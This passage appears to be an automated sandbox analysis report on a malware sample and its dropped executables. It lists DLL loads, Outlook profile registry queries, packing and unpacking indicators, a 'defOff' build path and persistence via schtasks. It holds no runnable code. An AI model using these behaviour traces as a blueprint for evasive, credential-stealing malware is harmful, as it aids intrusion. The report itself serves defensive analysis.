Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: fsixdcpcwcnvmcvzlnxq.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1822720 > 1048576

Source: file.exe

Static PE information: Raw size of qtucxrez is bigger than: 0x100000 < 0x1a3200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 397a6a3fac.exe, 00000019.00000002.3196098182.0000000005CA2000.00000040.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.3096528411.0000000007C80000.00000004.00001000.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3225340351.0000000007D20000.00000004.00001000.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3328741524.0000000005BC2000.00000040.00000800.00020000.00000000.sdmp, 1997b72847.exe, 0000001F.00000002.3104574243.0000000000472000.00000040.00000001.01000000.00000012.sdmp, 1997b72847.exe, 0000001F.00000003.2966639551.0000000005270000.00000004.00001000.00020000.00000000.sdmp, 1997b72847.exe, 00000029.00000003.3381851497.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.420000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qtucxrez:EW;khcuhpfk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qtucxrez:EW;khcuhpfk:EW;.taggant:EW;
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Unpacked PE file: 20.2.DocumentsGHIDGDHCGC.exe.750000.0.unpack :EW;.rsrc:W;.idata :W;hqrrjeyx:EW;ohdidvea:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hqrrjeyx:EW;ohdidvea:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.240000.0.unpack :EW;.rsrc:W;.idata :W;hqrrjeyx:EW;ohdidvea:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hqrrjeyx:EW;ohdidvea:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Unpacked PE file: 25.2.397a6a3fac.exe.180000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jhxiqwys:EW;sydghrgw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jhxiqwys:EW;sydghrgw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Unpacked PE file: 27.2.829de9457d.exe.810000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qtucxrez:EW;khcuhpfk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qtucxrez:EW;khcuhpfk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Unpacked PE file: 30.2.397a6a3fac.exe.180000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jhxiqwys:EW;sydghrgw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jhxiqwys:EW;sydghrgw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Unpacked PE file: 31.2.1997b72847.exe.470000.0.unpack :EW;.rsrc:W;.idata :W;cqrjeytt:EW;ftifzosq:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Unpacked PE file: 32.2.829de9457d.exe.810000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qtucxrez:EW;khcuhpfk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qtucxrez:EW;khcuhpfk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C67C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C67C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe.23.dr	Static PE information: real checksum: 0x2c343e should be: 0x2c35dd
Source: 1997b72847.exe.23.dr	Static PE information: real checksum: 0x2c343e should be: 0x2c35dd
Source: random[1].exe.23.dr	Static PE information: real checksum: 0x1c2462 should be: 0x1ca0f2
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: real checksum: 0x31efee should be: 0x31f3af
Source: file.exe	Static PE information: real checksum: 0x1c340a should be: 0x1c7fac
Source: 33a9120b78.exe.23.dr	Static PE information: real checksum: 0x43dd96 should be: 0x43f4e3
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x43dd96 should be: 0x43f4e3
Source: 397a6a3fac.exe.23.dr	Static PE information: real checksum: 0x1c2462 should be: 0x1ca0f2
Source: 829de9457d.exe.23.dr	Static PE information: real checksum: 0x1c340a should be: 0x1c7fac
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x31efee should be: 0x31f3af
Source: random[1].exe0.23.dr	Static PE information: real checksum: 0x1c340a should be: 0x1c7fac

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qtucxrez
Source: file.exe	Static PE information: section name: khcuhpfk
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name:
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name: hqrrjeyx
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name: ohdidvea
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: uquybeiu
Source: random[1].exe.0.dr	Static PE information: section name: cqjmtrkl
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name: hqrrjeyx
Source: skotes.exe.20.dr	Static PE information: section name: ohdidvea
Source: skotes.exe.20.dr	Static PE information: section name: .taggant
Source: 33a9120b78.exe.23.dr	Static PE information: section name:
Source: 33a9120b78.exe.23.dr	Static PE information: section name: .rsrc
Source: 33a9120b78.exe.23.dr	Static PE information: section name: .idata
Source: 33a9120b78.exe.23.dr	Static PE information: section name:
Source: 33a9120b78.exe.23.dr	Static PE information: section name: uquybeiu
